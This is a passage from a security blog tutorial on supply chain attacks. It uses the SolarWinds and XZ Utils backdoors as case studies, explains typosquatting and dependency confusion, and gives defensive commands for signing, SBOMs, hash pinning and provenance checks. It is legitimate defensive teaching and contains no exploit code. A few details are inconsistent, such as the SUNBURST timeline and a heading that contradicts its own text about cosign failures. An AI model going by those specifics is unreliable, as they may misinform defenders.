          navigator.clipboard.writeText(text).then(function(){ok(btn);}).catch(function(){fb(text,btn);});
        }else{fb(text,btn);}
      });
    });
  }
  function ok(btn){btn.textContent='Copied!';btn.classList.add('copied');setTimeout(function(){btn.textContent='Copy';btn.classList.remove('copied');},2000);}
  function fb(text,btn){
    try{var ta=document.createElement('textarea');ta.value=text;ta.style.cssText='position:fixed;left:-9999px;top:-9999px;opacity:0';document.body.appendChild(ta);ta.select();document.execCommand('copy');document.body.removeChild(ta);ok(btn);}
    catch(e){btn.textContent='✗ Failed';setTimeout(function(){btn.textContent='Copy';},2000);}
  }
  if(document.readyState==='loading'){document.addEventListener('DOMContentLoaded',enhance);}else{enhance();}
})();
</script></p>
<p><a href="/what-is-purple-team-security/">What is purple team security</a> → <a href="/owasp-top-10-cloud-infrastructure/">OWASP Top 10 mapped to cloud infrastructure</a> → <a href="/cloud-security-breaches-2020-2025/">Cloud security breaches 2020–2025</a> → <a href="/broken-access-control-aws/">Broken access control in AWS</a> → <a href="/mfa-fatigue-attack/">MFA fatigue attacks</a> → <a href="/cicd-secrets-exposure/">CI/CD secrets exposure</a> → <a href="/ssrf-cloud-metadata-attack/">SSRF to cloud metadata</a> → <a href="/kubernetes-container-escape-attack-paths/">Kubernetes container escape</a> → <strong>Supply Chain Attacks</strong></p>
<hr />
<h2 id="tldr">TL;DR</h2>
<ul>
<li><strong>Supply chain attack detection</strong> is OWASP A06 + A08: attackers compromise the software build or distribution chain so that legitimate, signed artifacts deliver malicious payloads — standard vulnerability scanning misses this entirely</li>
<li>SolarWinds (December 2020): threat actors compromised the Orion build system in March 2020, waited eight months, inserted the SUNBURST backdoor into a digitally signed update, and reached 18,000+ organizations including the U.S. Treasury, DHS, and DoD</li>
<li>XZ Utils (CVE-2024-3094, March 2024): the &#8220;Jia Tan&#8221; persona spent two years building open-source credibility before inserting a backdoor into release tarballs — the backdoor was not in the git repo, only in the distributed tarball <em>(release tarball = the compressed archive that Linux distributions download to build the package — separate from the git source tree)</em></li>
<li>The XZ backdoor targeted <code class="" data-line="">liblzma</code>, which is linked into <code class="" data-line="">sshd</code> via <code class="" data-line="">systemd</code> on affected distros — a compromised SSH daemon on every major Linux distribution was days away from shipping</li>
<li>Detection relied on human observation: Andres Freund noticed a 500ms SSH connection delay during unrelated benchmarking, traced it with <code class="" data-line="">strace</code>, and found <code class="" data-line="">sshd</code> making unexpected calls into <code class="" data-line="">liblzma</code></li>
<li>The structural fix is a pipeline: pin dependencies with hashes + private artifact registry + SBOM generation + image signing with Sigstore/cosign — each layer catches a different attack class</li>
</ul>
<hr />
<blockquote>
<p><strong>OWASP Mapping:</strong> A06 Vulnerable and Outdated Components — compromised upstream dependencies. A08 Software and Data Integrity Failures — build artifacts not signed or verified; release tarball content not validated against source.</p>
</blockquote>
<hr />
<h2 id="the-big-picture">The Big Picture</h2>
<pre><code class="" data-line="">┌──────────────────────────────────────────────────────────────────────────┐
│                  SUPPLY CHAIN ATTACK SURFACE                             │
│                                                                          │
│   SOURCE REPO          BUILD SYSTEM         ARTIFACT REGISTRY           │
│   github.com/org  ──&#x25b6;  CI/CD pipeline  ──&#x25b6;  container registry / PyPI  │
│        │                    │                      │                     │
│        │                    │                      │                     │
│   ATTACK POINT 1:      ATTACK POINT 2:       ATTACK POINT 3:            │
│   Social engineer      Compromise the        Typosquatting /             │
│   maintainer trust     build host            dependency confusion        │
│   (XZ model)           (SolarWinds model)    (public registry model)    │
│        │                    │                      │                     │
│        └────────────────────┴──────────────────────┘                    │
│                             │                                            │
│                    COMPROMISED ARTIFACT                                  │
│             (signed, valid, ships with legitimate release)               │
│                             │                                            │
│                             ▼                                            │
│        PRODUCTION SYSTEMS (18,000 orgs / every major Linux distro)      │
│                                                                          │
│   ═══════════════════════════════════════════════════════════════        │
│   DETECTION PIPELINE                                                     │
│   Hash pinning + SBOM + Sigstore verify + tarball ≠ git diff check      │
│   Each layer catches a different attack class                            │
└──────────────────────────────────────────────────────────────────────────┘
</code></pre>
<p><strong>Supply chain attack detection</strong> is hard because the artifact being delivered is legitimate by every traditional check: it is signed by the vendor, it passes antivirus, it resolves from the correct registry. The attack happened before the artifact was packaged, inside the trust chain you already approved. SolarWinds and XZ Utils are not anomalies — they are the template.</p>
<hr />
<h2 id="two-incidents-same-attack-surface">Two Incidents — Same Attack Surface</h2>
<h3 id="solarwinds-december-2020">SolarWinds (December 2020)</h3>
<p>The SolarWinds compromise is the definitive build-system attack. The timeline:</p>
<pre><code class="" data-line="">March 2020       Threat actor (UNC2452 / Cozy Bear) gains access to
                 SolarWinds build environment

October 2020     SUNBURST backdoor code inserted into SolarWinds Orion
                 build process — not into the source repository

October 2020     Orion 2019.4 through 2020.2.1 builds produced with
                 SUNBURST included — binaries digitally signed by
                 SolarWinds with their valid code-signing certificate

October–         SUNBURST distributed to ~18,000 customers via the
December 2020    legitimate Orion software update mechanism

December 2020    FireEye detects SUNBURST while investigating their own
                 breach — reports to SolarWinds and CISA
</code></pre>
<p><strong>What made detection almost impossible:</strong></p>
<p>The compiled binary passed every integrity check a customer would run. It was signed with SolarWinds&#8217; legitimate certificate. It installed via the normal software update channel. The SUNBURST code itself was designed for low observability: it dormant for 12–14 days after installation, used legitimate SolarWinds API patterns to blend with normal Orion traffic, and used legitimate cloud infrastructure (Avsvmcloud.com, which resolved to valid cloud provider IPs) for command-and-control.</p>
<p>The C2 communication was disguised as standard Orion telemetry. Exfiltration was slow — the attackers were not bulk-extracting data, they were selecting targets and moving laterally only inside high-value organizations.</p>
<p><strong>The attack vector was the build system, not source code.</strong> SolarWinds source repositories did not contain SUNBURST. The attacker modified the compiled output at build time. A code review of the SolarWinds source would have found nothing.</p>
<hr />
<h3 id="xz-utils-cve-2024-3094-march-2024">XZ Utils (CVE-2024-3094, March 2024)</h3>
<p>The XZ Utils compromise is more instructive because it was social engineering at the package maintainer level, caught before it shipped widely — and the catch was accidental.</p>
<p><strong>Timeline:</strong></p>
<pre><code class="" data-line="">November 2021    GitHub user &quot;Jia Tan&quot; (JiaT75) makes first commit to
                 xz-utils repository

2022–2023        Jia Tan steadily contributes quality patches to xz-utils,
                 builds trust with maintainer Lasse Collin, is eventually
                 granted commit access

Early 2024       Jia Tan accelerates commit activity, coordinates social
                 pressure on Lasse Collin from other fake personas to
                 push releases faster

February 2024    Jia Tan releases xz 5.6.0 — backdoor code inserted in
                 the release tarball build process (not in git commits)

March 9, 2024    xz 5.6.1 released with minor obfuscation changes

March 28–29,     Andres Freund (PostgreSQL/Microsoft engineer) notices
2024             500ms SSH connection delay on his Debian sid machine
                 while running unrelated Valgrind benchmarks

March 29, 2024   Freund traces the delay with strace, finds sshd making
                 unexpected calls into liblzma, reports to oss-security
                 mailing list

March 30, 2024   CISA advisory published. Fedora 40 beta, Debian unstable,
                 openSUSE Tumbleweed had all shipped the affected version.
                 Ubuntu 24.04 LTS was in freeze and had it staged.
</code></pre>
<p><strong>What was backdoored and how:</strong></p>
<p><code class="" data-line="">xz-utils</code> provides the <code class="" data-line="">liblzma</code> compression library. On systemd-based Linux distributions, <code class="" data-line="">sshd</code> links against <code class="" data-line="">libsystemd</code>, which links against <code class="" data-line="">liblzma</code>. The backdoor hooked into <code class="" data-line="">sshd</code>&#8216;s RSA key processing — specifically <code class="" data-line="">RSA_public_decrypt</code> — to allow authentication bypass using a specific attacker-controlled private key.</p>
<p>The backdoor was not in the git repository. It was injected during the tarball release process via obfuscated test files in the repository that were assembled and compiled during the build. Comparing the released tarball to the git tree reveals extra files and code that do not appear in any git commit:</p>
<pre><code class="" data-line="">xz --version
# 5.6.0 or 5.6.1 = affected; 5.4.x = safe

# How Andres Freund found it
# He was running sshd benchmarks and noticed unexpected latency
strace -p $(pgrep sshd) 2&gt;&amp;1 | head -20
# Saw unexpected calls into liblzma that should not be there
# Normal sshd does not call into liblzma at all

# Verify tarball vs git diff (the forensic check)
# If you have both the tarball and git source:
tar xf xz-5.6.1.tar.gz
git clone https://github.com/tukaani-project/xz.git xz-git
diff -r xz-5.6.1/ xz-git/
# Extra files in the tarball that don&#039;t appear in git = compromise indicator
</code></pre>
<p><strong>What makes this attack class so dangerous:</strong></p>
<p>The actor ran a multi-year operation. Two years of legitimate contributions, relationship-building with maintainers, and social pressure coordination across multiple fake personas. The code quality was good — Jia Tan&#8217;s legitimate commits improved xz-utils. The backdoor code was technically sophisticated enough that it took days of analysis to fully reverse-engineer after Freund&#8217;s discovery.</p>
<hr />
<h2 id="red-phase-how-supply-chain-attacks-work-in-practice">Red Phase: How Supply Chain Attacks Work in Practice</h2>
<p>There are three distinct attack surfaces. They require different defenses and catch different attack classes.</p>
<h3 id="1-build-system-compromise-solarwinds-model">1. Build System Compromise (SolarWinds Model)</h3>
<p>The attacker gains access to the CI/CD or build host and modifies compiled artifacts. The source code is clean. Git history is clean. Only the build output is poisoned.</p>
<p><strong>What makes it hard to catch:</strong> legitimate signing certificate, normal distribution channel, artifact passes all integrity checks that consumers run.</p>
<p><strong>Simulation (safe to run in a test environment):</strong></p>
<pre><code class="" data-line=""># Understand your build artifact&#039;s provenance
# Can you trace a production binary back to a specific source commit?

# For a Docker image: inspect build metadata
docker inspect your-org/your-image:latest | \
  jq &#039;.[0].Config.Labels&#039;
# Look for: org.opencontainers.image.revision (git SHA)
#           org.opencontainers.image.source (repo URL)
# If these labels are absent, you cannot verify what source built this image

# For a Go binary: read embedded build info
go version -m /path/to/binary
# Shows: Go version, module path, dependencies with versions and hashes
# If -trimpath was used during build, some info may be stripped

# Check if a container image was built from a known CI workflow
# (assumes SLSA provenance attestation is present)
cosign verify-attestation \
  --type slsaprovenance \
  --certificate-identity-regexp=&quot;.*&quot; \
  --certificate-oidc-issuer=&quot;https://token.actions.githubusercontent.com&quot; \
  your-org/your-image:latest | \
  jq -r &#039;.payload | @base64d | fromjson | .predicate.buildType&#039;
</code></pre>
<h3 id="2-dependency-hijacking-typosquatting-and-dependency-confusion">2. Dependency Hijacking: Typosquatting and Dependency Confusion</h3>
<p><strong>Typosquatting:</strong> a malicious package on PyPI/npm with a name close to a popular package (<code class="" data-line="">requets</code> vs <code class="" data-line="">requests</code>, <code class="" data-line="">djano</code> vs <code class="" data-line="">django</code>). Developers with a typo in their <code class="" data-line="">requirements.txt</code> install the malicious package.</p>
<p><strong>Dependency confusion:</strong> a private internal package (<code class="" data-line="">mycompany-utils</code>) has the same name as a package you upload to the public registry with a higher version number. Package managers that check public registries before private ones will resolve the public (malicious) version.</p>
<pre><code class="" data-line=""># Test for dependency confusion: can your private package names be
# resolved from the public registry?
# Do this in a throwaway environment, NOT production

# For Python: check if your internal package name exists on PyPI
pip index versions your-internal-package-name 2&gt;/dev/null
# If it returns versions and you didn&#039;t publish it there = confusion risk

# For npm: check if your scoped package exists on the public registry
npm view @your-scope/your-package version 2&gt;/dev/null
# An unscoped internal package with a public registry hit = confusion risk

# For pip: audit your requirements for known-bad packages
pip-audit --requirement requirements.txt
# pip-audit checks against the OSV vulnerability database
# Install: pip install pip-audit

# For npm: audit for both vulnerabilities and signature issues
npm audit
npm audit signatures
# &#039;npm audit signatures&#039; verifies that packages in node_modules were
# signed with registry-issued keys — catches tampered downloads
</code></pre>
<h3 id="3-maintainer-compromise-and-social-engineering-xz-model">3. Maintainer Compromise and Social Engineering (XZ Model)</h3>
<p>The hardest attack class to detect from the outside. A trusted maintainer is either compromised or is the attacker. Their commits are signed, their track record is legitimate, the package comes from the canonical repository.</p>
<p><strong>What you can check:</strong></p>
<pre><code class="" data-line=""># Verify a PyPI package hash matches what&#039;s listed in the index
# The hash listed on PyPI is set at upload time — if the file was
# replaced after upload, the hash would change (PyPI prevents this,
# but private/mirror registries may not)
pip download requests==2.31.0 --no-deps --dest /tmp/pkg-check/
sha256sum /tmp/pkg-check/requests-2.31.0-py3-none-any.whl
# Compare to the hash shown at pypi.org/project/requests/2.31.0/#files

# Check npm package signatures (post-XZ hygiene)
npm audit signatures
# Output shows: verified (good), missing (not signed), invalid (tampered)

# For containers: verify Sigstore signature
cosign verify \
  --certificate-identity-regexp=&quot;.*&quot; \
  --certificate-oidc-issuer=&quot;https://token.actions.githubusercontent.com&quot; \
  ghcr.io/your-org/your-image:latest
# If this fails: the image was not built by the expected GitHub Actions workflow
</code></pre>
<hr />
<h2 id="blue-phase-detection">Blue Phase: Detection</h2>
<h3 id="slsa-what-level-your-pipeline-should-be-at">SLSA: What Level Your Pipeline Should Be At</h3>
<p>SLSA (Supply chain Levels for Software Artifacts) is a framework for build pipeline integrity. Four levels:</p>
<pre><code class="" data-line="">SLSA Level 1  Build process is scripted/automated, produces provenance
              Most teams can reach this today
              Catches: accidental modifications, basic auditability

SLSA Level 2  Build runs on a hosted, version-controlled build platform
              (GitHub Actions, GitLab CI) — provenance is signed by the
              build platform, not just the developer
              Catches: developer workstation compromise

SLSA Level 3  Hermetic builds — the build environment is isolated from
              the network, cannot pull external resources at build time
              Provenance is non-forgeable
              Catches: build-time dependency injection, most CI/CD attacks

SLSA Level 4  (deprecated in SLSA v1.0, merged into L3)

Most teams should target SLSA Level 2 now, Level 3 within 6 months.
Level 3 is where SolarWinds-class attacks become detectable.
</code></pre>
<h3 id="container-image-signing-with-sigstorecosign">Container Image Signing with Sigstore/cosign</h3>
<pre><code class="" data-line=""># Sign a container image after build (in CI, using OIDC — no stored key)
# This runs inside GitHub Actions after the docker push step
cosign sign \
  --yes \
  ghcr.io/your-org/your-image:${GITHUB_SHA}
# cosign uses the GitHub Actions OIDC token to sign — no private key needed
# The signature is stored in the registry alongside the image

# Verify the signature and check the certificate claims
cosign verify \
  --certificate-identity=&quot;https://github.com/your-org/your-repo/.github/workflows/build.yml@refs/heads/main&quot; \
  --certificate-oidc-issuer=&quot;https://token.actions.githubusercontent.com&quot; \
  ghcr.io/your-org/your-image:latest | \
  jq &#039;.[0] | {
    issuer: .optional.Issuer,
    workflow: .optional.BuildSignerURI,
    repo: .optional.SourceRepositoryURI,
    ref: .optional.SourceRepositoryRef
  }&#039;
# A passing verification means:
# - Image was built by a specific GitHub Actions workflow
# - In a specific repository, on a specific branch
# - At a specific time (cert has a 10-minute TTL)
</code></pre>
<h3 id="sbom-generation-and-vulnerability-scanning">SBOM Generation and Vulnerability Scanning</h3>
<p>An SBOM (Software Bill of Materials) enumerates every component in a software artifact. Without an SBOM, you cannot answer &#8220;are we affected by the XZ backdoor?&#8221; across your fleet in under an hour.</p>
<pre><code class="" data-line=""># Generate an SBOM for a container image using syft
syft your-org/your-image:latest -o cyclonedx-json &gt; sbom.json
# syft walks the image layers and catalogs every package,
# including OS packages (rpm/deb), language packages (pip/npm/go),
# and their versions

# Inspect what syft found
cat sbom.json | jq &#039;.components[] | select(.name == &quot;xz-libs&quot;) | {name, version, purl}&#039;
# Example output:
# {
#   &quot;name&quot;: &quot;xz-libs&quot;,
#   &quot;version&quot;: &quot;5.4.4-1.el9&quot;,    ← 5.4.x = safe; 5.6.0/5.6.1 = backdoored
#   &quot;purl&quot;: &quot;pkg:rpm/redhat/xz-libs@5.4.4-1.el9?arch=x86_64&quot;
# }

# Scan the SBOM for known vulnerabilities
grype sbom:./sbom.json
# grype checks each component against Grype&#039;s vulnerability database
# (CVE, GHSA, OSV) — would have flagged CVE-2024-3094 once published

# Automate: generate SBOM and scan in CI, fail build if critical CVEs found
grype sbom:./sbom.json --fail-on critical
</code></pre>
<h3 id="build-provenance-with-github-actions-slsa-level-23">Build Provenance with GitHub Actions (SLSA Level 2/3)</h3>
<pre><code class="" data-line=""># .github/workflows/build.yml
# Adds SLSA provenance attestation to every release artifact
name: Build and attest

on:
  push:
    tags: [&quot;v*&quot;]

permissions:
  contents: write
  id-token: write       # Required for OIDC signing
  attestations: write   # Required for GitHub attestation API

jobs:
  build:
    runs-on: ubuntu-latest
    outputs:
      image-digest: ${{ steps.push.outputs.digest }}
    steps:
      - uses: actions/checkout@v4

      - name: Build and push container image
        id: push
        uses: docker/build-push-action@v5
        with:
          push: true
          tags: ghcr.io/${{ github.repository }}:${{ github.ref_name }}

      - name: Generate SLSA provenance attestation
        uses: actions/attest-build-provenance@v1
        with:
          subject-name: ghcr.io/${{ github.repository }}
          subject-digest: ${{ steps.push.outputs.digest }}
          push-to-registry: true
          # This generates a signed SLSA provenance statement that records:
          # - Which workflow built this artifact
          # - The git SHA it was built from
          # - The trigger event
          # Stored alongside the image in the registry
</code></pre>
<pre><code class="" data-line=""># Verify the attestation against an image
gh attestation verify \
  oci://ghcr.io/your-org/your-image:latest \
  --owner your-org
# Passes: image provenance is traceable to a specific workflow run
# Fails: image was built and pushed outside any attested workflow
</code></pre>
<h3 id="what-anomaly-detection-catches">What Anomaly Detection Catches</h3>
<p>Sigstore and SBOM scanning catch known-bad artifacts. Anomaly detection catches behavior that hasn&#8217;t been classified yet:</p>
<ul>
<li><strong>Unexpected external connections during build:</strong> a hermetic build should make zero network calls after dependency fetch. Any egress during the build phase is a signal — a compromised build tool phoning home, a dependency pulling a secondary payload at install time</li>
<li><strong>Artifact hash drift:</strong> if the same source commit produces different binary output on two consecutive builds, the build environment is non-deterministic at best, compromised at worst. Reproducible builds produce identical byte-for-byte output from identical inputs — hash drift indicates something in the build environment changed</li>
<li><strong>New dependency additions without PR:</strong> any dependency that appears in a build artifact but was not added via a reviewed pull request is an anomaly. SBOMs make this comparison possible; without them it is invisible</li>
</ul>
<pre><code class="" data-line=""># Check for unexpected network connections during a build
# Run this on the build host during a CI job
ss -tnp | grep -E &quot;(ESTABLISHED|SYN_SENT)&quot;
# Any connection to an IP outside your artifact registry and SCM = investigate

# Compare artifact hashes across two builds of the same commit
# (tests build reproducibility)
docker pull ghcr.io/your-org/your-image@sha256:&lt;first-build-digest&gt;
docker pull ghcr.io/your-org/your-image@sha256:&lt;second-build-digest&gt;
# If the digests differ for the same source commit, investigate
</code></pre>
<hr />
<h2 id="purple-phase-structural-fixes">Purple Phase: Structural Fixes</h2>
<h3 id="1-pin-dependencies-with-hashes-not-just-versions">1. Pin Dependencies with Hashes — Not Just Versions</h3>
<p>Version pinning (<code class="" data-line="">requests==2.31.0</code>) pins the version number. The package maintainer can yank and re-upload that version with different content on some registries. Hash pinning locks the exact file bytes:</p>
<pre><code class="" data-line=""># requirements.txt — hash-pinned
requests==2.31.0 \
    --hash=sha256:58cd2187423839e4e2d07f6f16c9cd680e74d6066237a4e1e88f06fc4a3e2e56 \
    --hash=sha256:942c5a758f98d790eaed1a29cb6eefc7ffb0d1cf7af05c3d2791656dbd6ad1e1
# Two hashes because the package ships both a wheel and a source tarball
# pip verifies the downloaded file matches one of these hashes before installing

# Generate hash-pinned requirements from a working environment
pip-compile --generate-hashes requirements.in --output-file requirements.txt
# pip-compile resolves the full dependency tree and writes pinned+hashed output
</code></pre>
<p>For containers, pin base images by digest, not by tag:</p>
<pre><code class="" data-line=""># Vulnerable: mutable tag
FROM python:3.11-slim

# Secure: pinned digest
FROM python:3.11-slim@sha256:6a37af1bde8be89040f70b9e93f2f61b5f14e99d7e49f9ea3dc7ded2e1c82f7b
# The digest is immutable — this exact image layer will always be fetched,
# regardless of what the 3.11-slim tag points to in the future
</code></pre>
<h3 id="2-private-artifact-registry-no-direct-pypi-or-npm-in-production-ci">2. Private Artifact Registry — No Direct PyPI or npm in Production CI</h3>
<p>A private registry (Artifactory, Nexus, AWS CodeArtifact, Google Artifact Registry) proxies upstream registries and caches approved packages. Benefits:</p>
<ul>
<li><strong>Dependency confusion protection:</strong> your CI resolves <code class="" data-line="">mycompany-utils</code> from your private registry first, never from public PyPI</li>
<li><strong>Availability independence:</strong> a PyPI outage does not break your builds</li>
<li><strong>Audit trail:</strong> every package version pulled in every build is logged</li>
<li><strong>Policy enforcement:</strong> you can block packages with unacceptable licenses or CVE scores</li>
</ul>
<pre><code class="" data-line=""># Configure pip to use a private registry proxy exclusively
# In ci/pip.conf or as environment variable
export PIP_INDEX_URL=&quot;https://your-artifactory.company.com/artifactory/api/pypi/pypi-virtual/simple/&quot;
export PIP_TRUSTED_HOST=&quot;your-artifactory.company.com&quot;
# No direct PyPI access — all packages go through your registry proxy

# For npm: configure registry in .npmrc
echo &quot;registry=https://your-artifactory.company.com/artifactory/api/npm/npm-virtual/&quot; &gt; .npmrc
echo &quot;always-auth=true&quot; &gt;&gt; .npmrc
</code></pre>
<h3 id="3-reproducible-builds-same-input-produces-same-output">3. Reproducible Builds — Same Input Produces Same Output</h3>
<p>Reproducible builds allow independent verification: a third party can take the same source and build environment and produce a byte-for-byte identical artifact. If the published artifact does not match, something changed between source and distribution.</p>
<p>This is exactly how the XZ tarball compromise would have been caught earlier with proper tooling: the release tarball did not match what would be produced by checking out the git tag and running the build.</p>
<pre><code class="" data-line=""># For Go: builds are reproducible by default in Go 1.13+
# Verify by building twice and comparing
go build -o binary-1 ./cmd/...
go build -o binary-2 ./cmd/...
sha256sum binary-1 binary-2
# Identical hashes = reproducible

# For containers with BuildKit: use --no-cache and compare digests
DOCKER_BUILDKIT=1 docker build --no-cache -t test-1 .
DOCKER_BUILDKIT=1 docker build --no-cache -t test-2 .
docker inspect test-1 test-2 | jq &#039;.[].Id&#039;
# Identical IDs = reproducible build environment

# SOURCE_DATE_EPOCH forces reproducible timestamps (common reproducibility blocker)
export SOURCE_DATE_EPOCH=$(git log -1 --format=%ct)
make  # or whatever your build command is
</code></pre>
<h3 id="4-separate-build-and-release-environments">4. Separate Build and Release Environments</h3>
<p>SolarWinds built and signed in the same compromised environment. The build environment had signing keys. An attacker who owns the build host owns the signing operation.</p>
<pre><code class="" data-line="">INSECURE:                           SECURE:

Build host ──&#x25b6; compile              Build host ──&#x25b6; compile
           ──&#x25b6; sign artifact                   ──&#x25b6; output unsigned artifact
           ──&#x25b6; publish                                    │
                                                          ▼
                                    Separate signing host (air-gapped or HSM)
                                                    ──&#x25b6; verify artifact hash
                                                    ──&#x25b6; sign with HSM key
                                                    ──&#x25b6; publish signed artifact
</code></pre>
<p>In practice: signing keys should live in a hardware security module (HSM) or KMS, not on the build host. The build produces an artifact hash; the signing service receives only the hash, not the full artifact, and signs it with the HSM-protected key. Build host compromise does not yield the signing key.</p>
<h3 id="5-sbom-in-every-release-non-negotiable">5. SBOM in Every Release — Non-Negotiable</h3>
<p>If you cannot enumerate what is in your artifact, you cannot answer supply chain compromise questions. When CVE-2024-3094 dropped, every organization with an SBOM could query it in minutes. Organizations without one had to manually inspect every container image and every deployed system.</p>
<pre><code class="" data-line=""># Attach SBOM to a container image as an attestation (stored in registry)
syft ghcr.io/your-org/your-image:latest -o cyclonedx-json | \
  cosign attest \
    --predicate /dev/stdin \
    --type cyclonedx \
    ghcr.io/your-org/your-image:latest
# The SBOM is now stored alongside the image and signed with OIDC credentials

# Later: retrieve and search the SBOM
cosign verify-attestation \
  --type cyclonedx \
  --certificate-identity-regexp=&quot;.*&quot; \
  --certificate-oidc-issuer=&quot;https://token.actions.githubusercontent.com&quot; \
  ghcr.io/your-org/your-image:latest | \
  jq -r &#039;.payload | @base64d | fromjson | .predicate.components[] | 
    select(.name == &quot;xz-libs&quot;) | {name, version}&#039;
</code></pre>
<hr />
<h2 id="production-gotchas"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/26a0.png" alt="⚠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Production Gotchas</h2>
<p><strong>Hash pinning breaks automated dependency update workflows.</strong> When you pin with hashes, tools like Dependabot and Renovate still open PRs, but they must also update the hashes. This works — both tools support hash pinning — but you must configure them explicitly. Without hash update support in your automation, developers will remove pinning to unblock themselves.</p>
<p><strong>SLSA Level 3 requires hermetic builds — most teams are not ready.</strong> Hermetic means the build process makes no network calls during compilation (all dependencies fetched in a prior, logged step). Most existing CI pipelines fetch dependencies during the build step. Reaching SLSA Level 3 requires restructuring your pipeline into explicit fetch → build phases. Start at Level 2 (hosted, signed provenance) and treat Level 3 as a 6-month target.</p>
<p><strong>SBOMs without a query workflow are paperwork.</strong> Generating an SBOM with <code class="" data-line="">syft</code> and storing it somewhere is the easy part. The useful part is having a process to query all SBOMs across your fleet within minutes of a new CVE. Without that query infrastructure, you have documentation, not detection capability.</p>
<p><strong>Cosign verify fails silently if no signature exists.</strong> By default, if an image has no cosign signature, <code class="" data-line="">cosign verify</code> returns an error — which is correct. But in a Kubernetes admission webhook that enforces signing (e.g., Kyverno, OPA/Gatekeeper), an unsigned image must be an explicit policy violation, not a webhook error that gets bypassed by a fail-open configuration. Always run admission webhooks in fail-closed mode.</p>
<p><strong>Tarball vs git diff requires automation.</strong> Manually diffing every release tarball against its git tag is not sustainable. The XZ compromise would have been caught earlier if distributions had automated this check as part of their packaging workflow. Tools like <code class="" data-line="">diffoscope</code> can automate the comparison; integrating it into your package intake process is the structural fix.</p>
<hr />
<h2 id="quick-reference">Quick Reference</h2>
<table>
<thead>
<tr>
<th>Attack Vector</th>
<th>Detection Signal</th>
<th>Fix</th>
</tr>
</thead>
<tbody>
<tr>
<td>Build system compromise (SolarWinds)</td>
<td>Artifact hash drift; unexpected egress during build; tarball ≠ git diff</td>
<td>SLSA Level 3 hermetic builds; separate signing environment</td>
</tr>
<tr>
<td>Maintainer social engineering (XZ)</td>
<td>Tarball ≠ git diff; SBOM shows unexpected dependency; anomalous sshd syscalls</td>
<td>Reproducible builds; tarball verification in package intake</td>
</tr>
<tr>
<td>Dependency confusion</td>
<td>Package resolves from public registry instead of private</td>
<td>Private artifact registry with scoped package names</td>
</tr>
<tr>
<td>Typosquatting</td>
<td><code class="" data-line="">pip-audit</code> / <code class="" data-line="">npm audit signatures</code> findings</td>
<td>Private registry; automated dependency scanning in CI</td>
</tr>
<tr>
<td>Unsigned container image</td>
<td><code class="" data-line="">cosign verify</code> fails; no attestation in registry</td>
<td>Sigstore/cosign in CI; fail-closed admission webhook</td>
</tr>
</tbody>
</table>
<hr />
<h2 id="key-takeaways">Key Takeaways</h2>
<ul>
<li><strong>Supply chain attacks bypass perimeter security entirely</strong> — the attacker delivers malware through a channel you already trust, signed by a certificate you already trust, via an update mechanism you already approve</li>
<li>SolarWinds was caught by a downstream victim (FireEye), not by SolarWinds&#8217; own security team — the build environment had no integrity monitoring that could detect modification of compiled artifacts</li>
<li>XZ Utils was caught by an engineer noticing a 500ms latency anomaly during unrelated performance work, not by any security tooling — this was within days of the backdoor shipping in multiple stable Linux distribution releases</li>
<li>The detection pipeline has five layers, each catching a different attack class: hash pinning (dependency hijacking), SBOM (enumeration and CVE correlation), Sigstore signing (artifact integrity), SLSA provenance (build traceability), tarball vs git diff (source/distribution divergence)</li>
<li>Start with what you can implement this week: <code class="" data-line="">pip-audit</code> or <code class="" data-line="">npm audit signatures</code> in CI, <code class="" data-line="">syft</code> SBOM generation on every image build, and cosign signing for any container image that reaches production — these three steps cover the most common attack classes with minimal pipeline restructuring</li>
</ul>
<hr />
<h2 id="whats-next">What&#8217;s Next</h2>
<p>SolarWinds showed that attackers can own your build system and reach your customers&#8217; production networks through a single trusted update. Once they have a foothold in a cloud account — whether via a compromised build artifact or any other initial access vector — the next move is lateral: cross-account IAM role chaining to escalate from a single compromised resource to your entire cloud organization. EP10 covers what that lateral movement looks like, how to detect trust relationship abuse in CloudTrail, and how to structure cross-account access so that a single compromise cannot pivot to every account you own.</p>
<p>Get EP10 in your inbox when it publishes → <a href="#subscribe">subscribe at linuxcent.com</a></p>
<p><a class="a2a_button_mastodon" href="https://www.addtoany.com/add_to/mastodon?linkurl=https%3A%2F%2Flinuxcent.com%2Fsupply-chain-attack-solarwinds-xz-utils%2F&amp;linkname=Supply%20Chain%20Attacks%3A%20From%20SolarWinds%20to%20XZ%20Utils%20%E2%80%94%20Detection%20and%20Defense" title="Mastodon" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Flinuxcent.com%2Fsupply-chain-attack-solarwinds-xz-utils%2F&amp;linkname=Supply%20Chain%20Attacks%3A%20From%20SolarWinds%20to%20XZ%20Utils%20%E2%80%94%20Detection%20and%20Defense" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_whatsapp" href="https://www.addtoany.com/add_to/whatsapp?linkurl=https%3A%2F%2Flinuxcent.com%2Fsupply-chain-attack-solarwinds-xz-utils%2F&amp;linkname=Supply%20Chain%20Attacks%3A%20From%20SolarWinds%20to%20XZ%20Utils%20%E2%80%94%20Detection%20and%20Defense" title="WhatsApp" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Flinuxcent.com%2Fsupply-chain-attack-solarwinds-xz-utils%2F&amp;linkname=Supply%20Chain%20Attacks%3A%20From%20SolarWinds%20to%20XZ%20Utils%20%E2%80%94%20Detection%20and%20Defense" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_x" href="https://www.addtoany.com/add_to/x?linkurl=https%3A%2F%2Flinuxcent.com%2Fsupply-chain-attack-solarwinds-xz-utils%2F&amp;linkname=Supply%20Chain%20Attacks%3A%20From%20SolarWinds%20to%20XZ%20Utils%20%E2%80%94%20Detection%20and%20Defense" title="X" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Flinuxcent.com%2Fsupply-chain-attack-solarwinds-xz-utils%2F&amp;linkname=Supply%20Chain%20Attacks%3A%20From%20SolarWinds%20to%20XZ%20Utils%20%E2%80%94%20Detection%20and%20Defense" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_copy_link" 